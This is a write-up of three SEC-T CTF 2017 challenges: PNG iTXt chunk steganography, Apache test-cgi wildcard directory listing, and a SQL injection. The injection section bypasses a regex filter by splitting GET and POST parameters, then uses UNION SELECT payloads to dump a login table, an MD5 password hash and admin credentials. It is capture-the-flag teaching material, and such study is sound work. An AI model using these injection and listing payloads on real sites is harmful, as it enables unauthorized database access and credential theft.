SEC-T CTF 2017 - Write-ups

Informations

Version

By Version Comment
noraj 1.0 Creation

CTF

  • Name : SEC-T CTF 2017
  • Website : sect.ctf.rocks
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

50 - Joeys screenshot - Misc

Joey gave me this screenshot to prove he got into The Gibson. Can you help us hack The Gibson too?

Download: http://dl.ctf.rocks/joey.tar.gz

We have a PNG image.

Something doesn't seem legit:

1
2
3
4
5
6
7
8
9
10
11
$ strings chall.png| head -10
IHDR
(iTXtComment
1337
C0|V||V|3|\|7
(iTXtComment
1337
C0|V||V|3|\|7
'iTXtComment
1337
C0|V||V|3|\|7

We can use pngsplit to split the png into chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
chall.png.0000.sig
chall.png.0001.IHDR
chall.png.0002.iTXt
[...]
chall.png.0048.iTXt
chall.png.0049.IDAT
[...]
chall.png.0062.IDAT
chall.png.0063.IEND

Comments are in iTXt chunks (there are 47).

1
2
3
4
5
6
7
8
9
10
11
$ xxd chall.png.0002.iTXt
00000000: 0000 0028 6954 5874 436f 6d6d 656e 7400 ...(iTXtComment.
00000010: 0100 3133 3337 0043 307c 567c 7c56 7c33 ..1337.C0|V||V|3
00000020: 7c5c 7c37 0078 9c8b 3736 0300 01bc 00c9 |\|7.x..76......
00000030: 3e93 04e9 >...
$ xxd chall.png.0004.iTXt
00000000: 0000 0027 6954 5874 436f 6d6d 656e 7400 ...'iTXtComment.
00000010: 0100 3133 3337 0043 307c 567c 7c56 7c33 ..1337.C0|V||V|3
00000020: 7c5c 7c37 0078 9c73 3602 0000 ba00 7698 |\|7.x.s6.....v.
00000030: b65d 64 .]d

Obviously we can see that all iTXt comments contains 1337 and C0|V||V|3|\|7 meaning comment so we are on the good way looking at PNG chunk iTXt Comment.

Now let's extract the part that change between chunks:

I used png-itxt to read them instead of parsing them myself with a script because:

Compressing and decompressing of data, where appropriate, is handled transparently to the user so you only ever see the uncompressed values.

1
2
3
4
5
$ ~/CTF/tools/png-itxt/bin/png-itxt get chall.png
{"type":"iTXt","keyword":"Comment","compressed":true,"compression_type":0,"language":"1337","translated":"C0|V||V|3|\\|7","value":"_36"}
{"type":"iTXt","keyword":"Comment","compressed":true,"compression_type":0,"language":"1337","translated":"C0|V||V|3|\\|7","value":"327"}
[...]

Some regular expression to filter:

1
2
~/CTF/tools/png-itxt/bin/png-itxt get chall.png | grep -o 'value":".*"' | tr -d 'value":\n'
_36327C2134524N22H41{4_11_33_13021E1530342H43038535P26U25G3741539B19S0U29R28R32D14212_23D5D39_40G17K8Y10344!45520T333111846}46_16_7

That means nothing and doesn't looks like 1337, base64 or hex. Let's get the value chunk by chunk.

1
2
$ ~/CTF/tools/png-itxt/bin/png-itxt get chall.png | grep -Eo ':".{2,3}"' | tr -d 'value:' | tr '\n' ', '
"_36","327","C2","134","524","N22","H41","{4","_11","_33","_13","021","E1","530","342","H43","038","535","P26","U25","G37","415","39","B19","S0","U29","R28","R32","D14","212","_23","D5","D39","_40","G17","K8","Y10","344","!45","520","T3","331","118","46","}46","_16","_7",

Horizontally we can't see anything but vertically...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ ~/CTF/tools/png-itxt/bin/png-itxt get chall.png | grep -Eo ':".{2,3}"' | tr -d 'value:'
"_36"
"327"
"C2"
"134"
"524"
"N22"
"H41"
"{4"
"_11"
"_33"
"_13"
"021"
"E1"
"530"
"342"
"H43"
"038"
"535"
"P26"
"U25"
"G37"
"415"
"39"
"B19"
"S0"
"U29"
"R28"
"R32"
"D14"
"212"
"_23"
"D5"
"D39"
"_40"
"G17"
"K8"
"Y10"
"344"
"!45"
"520"
"T3"
"331"
"118"
"46"
"}46"
"_16"
"_7"

It looks like we have this pattern [[:ascii:]]{1}[0-9]{2}, that means a char follow by a number. What if we order the char by number?

Now let's fire ruby in order to sort them! order.rb:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env ruby
data = ["_36","327","C2","134","524","N22","H41","{4","_11","_33","_13","021","E1","530","342","H43","038","535","P26","U25","G37","415","39","B19","S0","U29","R28","R32","D14","212","_23","D5","D39","_40","G17","K8","Y10","344","!45","520","T3","331","118","46","}46","_16","_7"]
chars = {}
# split
data.each do |pattern|
char = pattern[0]
number = pattern[1..2]
chars.store(number.to_i,char)
end
# convert as an array and sort
chars_ordered = chars.sort
# display only values
chars_ordered.each do |n,c|
print c
end
1
2
$ ruby order.rb
SECT{D4_K3Y_2_D4_G1B50N_5UP3RU53R_15_G0D_H3H3!}

100 - Sprinkler system - Web

Damn new york... some chick tricked you into standing in the rain on the very first day... it's payback time!

Service: http://sprinklers.alieni.se/

Classic check:

1
2
3
$ curl http://sprinklers.alieni.se/robots.txt
User-agent: *
Disallow: /cgi-bin/test-cgi

Well we have a CGI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ curl http://sprinklers.alieni.se/cgi-bin/test-cgi/
CGI/1.0 test script report:
argc is 0. argv is .
SERVER_SOFTWARE = Apache/2.4.18 (Ubuntu)
SERVER_NAME = sprinklers.alieni.se
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.1
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = */*
PATH_INFO = /
PATH_TRANSLATED = /var/www/html/index.html
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING =
REMOTE_HOST =
REMOTE_ADDR = 141.101.88.193
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

So this is Apache cgi-bin/test-cgi, there is a known vulnerability allowing to list all files in a folder when /cgi-bin/test-cgi?* is requested. So ?* will list the CGI directory, ?/* the root directory, ?/var/www/html/* the web server directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ curl 'http://sprinklers.alieni.se/cgi-bin/test-cgi?/var/www/html/*'
CGI/1.0 test script report:
argc is 1. argv is /var/www/html/\*.
SERVER_SOFTWARE = Apache/2.4.18 (Ubuntu)
SERVER_NAME = sprinklers.alieni.se
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.1
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = */*
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = /var/www/html/cgi-bin /var/www/html/circuitboard.jpg /var/www/html/counter.gif /var/www/html/index.html /var/www/html/robots.txt /var/www/html/sleep.sh
REMOTE_HOST =
REMOTE_ADDR = 141.101.88.193
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
$ curl 'http://sprinklers.alieni.se/cgi-bin/test-cgi?*'
CGI/1.0 test script report:
argc is 1. argv is \*.
SERVER_SOFTWARE = Apache/2.4.18 (Ubuntu)
SERVER_NAME = sprinklers.alieni.se
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.1
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = */*
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = enable_sprinkler_system test-cgi
REMOTE_HOST =
REMOTE_ADDR = 141.101.88.193
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

So we can see there is another script in the CGI directory.

Now we have just to request http://sprinklers.alieni.se/cgi-bin/enable_sprinkler_system and get the flag SECT{-p00l_On_t3h_r00f_must_h@v3_A_l3ak!-}.

More info here:

200 - Naughty ads - Web

Can you put agent Gill in the naughty ad section? His phone number is "555-31338"

Service: http://naughtyads.alieni.se/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ curl http://naughtyads.alieni.se/
<HTML>
<HEAD>
<TITLE>NAUGHTY ADS ©1994</TITLE>
</HEAD>
<BODY BGCOLOR="WHITE">
<CENTER>
<img class="ads" src="middle.png" width="800" height="600" usemap="#planetmap">
<map name="planetmap">
<area shape="rect" coords="287,93,523,261" href="?id=0c3f-42c8-a0ae" alt="BDSM hookup">
<area shape="rect" coords="542,93,774,261" href="?id=f44f-4cc9-a5e0" alt="Fat fetish">
<area shape="rect" coords="34,282,269,449" href="?id=3ad3-46c3-b975" alt="Dirty mistress">
<area shape="rect" coords="292,282,521,449" href="?id=5fbc-4729-8821" alt="Femdom one night stand">
<area shape="rect" coords="545,282,777,449" href="?id=c8bb-4695-93f7" alt="Waterboarding extasy">
<area shape="rect" coords="33,468,266,595" href="?id=7f9d-470f-8698" alt="Kinky nightmare">
<area shape="rect" coords="277,456,534,598" href="?id=849e-416e-acf7" alt="Food fetish">
<area shape="rect" coords="547,466,780,599" href="?id=e8c4-437b-9476" alt="Whip experience">
<area shape="rect" coords="595,23,619,57" href="/admin" alt="Admin">
</map>
</CENTER>
</BODY>
</HTML>

/admin is protected with basic auth and ?id= seems SQLi vulnerable but protected by a WAF (Attack detected!!!).

I forgot to check robotos.txt:

1
2
3
4
$ curl http://naughtyads.alieni.se/robots.txt
User-agent: *
Disallow: /admin
Disallow: /*.phps

.phps are source files. here is http://naughtyads.alieni.se/index.phps :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
require_once 'lib.php';
header('X-XSS-Protection: 0');
$cols = array(
"e8c4-437b-9476",
"849e-416e-acf7",
"7f9d-470f-8698",
"c8bb-4695-93f7",
"5fbc-4729-8821",
"3ad3-46c3-b975",
"f44f-4cc9-a5e0",
"0c3f-42c8-a0ae"
);
if(isset($_REQUEST['id'])){
if(preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
die("Attack detected!!!");
}
$ad = get_ad($_GET['id']);
?>
<HTML>
<HEAD>
<TITLE>NAUGHTY ADS ©1994</TITLE>
</HEAD>
<BODY BGCOLOR="WHITE">
<CENTER>
<?php echo $ad['description'] ?><br />
<a href="/">Home</a>
</CENTER>
</BODY>
</HTML>
<?php
die;
}
?>
<HTML>
<HEAD>
<TITLE>NAUGHTY ADS ©1994</TITLE>
</HEAD>
<BODY BGCOLOR="WHITE">
<CENTER>
<img class="ads" src="middle.png" width="800" height="600" usemap="#planetmap">
<map name="planetmap">
<area shape="rect" coords="287,93,523,261" href="?id=<?php echo array_pop($cols); ?>" alt="BDSM hookup">
<area shape="rect" coords="542,93,774,261" href="?id=<?php echo array_pop($cols); ?>" alt="Fat fetish">
<area shape="rect" coords="34,282,269,449" href="?id=<?php echo array_pop($cols); ?>" alt="Dirty mistress">
<area shape="rect" coords="292,282,521,449" href="?id=<?php echo array_pop($cols); ?>" alt="Femdom one night stand">
<area shape="rect" coords="545,282,777,449" href="?id=<?php echo array_pop($cols); ?>" alt="Waterboarding extasy">
<area shape="rect" coords="33,468,266,595" href="?id=<?php echo array_pop($cols); ?>" alt="Kinky nightmare">
<area shape="rect" coords="277,456,534,598" href="?id=<?php echo array_pop($cols); ?>" alt="Food fetish">
<area shape="rect" coords="547,466,780,599" href="?id=<?php echo array_pop($cols); ?>" alt="Whip experience">
<area shape="rect" coords="595,23,619,57" href="/admin" alt="Admin">
</map>
</CENTER>
</BODY>
</HTML>

Now we know the WAF is not one but a regex.

Read the php code carefully, especially this part:

1
2
3
4
5
if(isset($_REQUEST['id'])){
if(preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
die("Attack detected!!!");
}
$ad = get_ad($_GET['id']);

As you can see the regex is done on $_REQUEST['id'] but executed variable is $_GET['id'].

PHP: $_REQUEST - Manual tells:

An associative array that by default contains the contents of $_GET, $_POST and $_COOKIE.

I read on a forum that data are proccessed in this order GET, POST, COOKIE by default (configurable in php.ini).

So the idea is to send a legitimate or a harmless payload in POST like id=vuln and our SQL injection in GET. The server will apply the regex on $_REQUEST['id'] that will be $_POST['id'] (I understand that's because this is the last one to be processed), the server will see nothing dangerous and $ad = get_ad($_GET['id']); will be executed.

With Hackbar:

With BurpSuite:

Let's see MySQl version and database name:

1
2
3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT CONCAT((SELECT @@version), ' ', (SELECT database()))-- -
5.7.19 naughty

Let's get tables:

1
2
3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT table_name from information_schema.tables where table_schema = 'naughty' limit 0,1-- -
ads

the first one is ads

1
2
3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT table_name from information_schema.tables where table_schema = 'naughty' limit 1,1-- -
login

and the second one is login. Now we are looking for columns:

1
2
3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT column_name FROM information_schema.columns WHERE table_schema='naughty' and table_name='login' LIMIT 0,1 -- -
id
1
2
3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT column_name FROM information_schema.columns WHERE table_schema='naughty' and table_name='login' LIMIT 1,1-- -
name
1
2
3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT column_name FROM information_schema.columns WHERE table_schema='naughty' and table_name='login' LIMIT 2,1-- -
password

So columns are id, name and password. Now we can display users:

1
2
3
http://naughtyads.alieni.se/?id=a' UNION ALL SELECT CONCAT((SELECT id FROM naughty.login LIMIT 0,1), ' ', (SELECT name FROM naughty.login LIMIT 0,1), ' ', (SELECT password FROM naughty.login LIMIT 0,1))-- -
1 webmasterofdoom3755 5ebe2294ecd0e0f08eab7690d2a6ee69

Password seems hashed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ hashid 5ebe2294ecd0e0f08eab7690d2a6ee69
Analyzing '5ebe2294ecd0e0f08eab7690d2a6ee69'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x

They must be using md5. Is used hashkiller.co.uk that told me the password is secret.

Now we have access to the admin area http://naughtyads.alieni.se/admin/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ curl 'http://webmasterofdoom3755:secret@naughtyads.alieni.se/admin/'
<HTML>
<HEAD>
<TITLE>ADMINISTRATIVE AREA</TITLE>
</HEAD>
<BODY>
<FORM ACTION="" METHOD="POST">
Phone number: <INPUT TYPE="TEXT" NAME="phone" PLACEHOLDER="#"/><BR />
Description: <TEXTAREA NAME="description"></TEXTAREA></BR />
Image: <INPUT TYPE="FILE" NAME="image" /><BR />
<INPUT TYPE="SUBMIT" NAME="image" value="upload" /><BR />
</FORM>
<!-- Stuck? Read challenge description again... -->
</BODY>
</HTML>

For those who don't know what to do with the form check the comment that tell us to check the description but personally I remembered to put Gill number into ads section.

Now grab the flag: SECT{~tr4nsv3stiT3s_w3lc0me_t00~}.

Bonus: why -- - is need in MySQL where -- seems enought: MySQL Injection: Comments On Comments

Share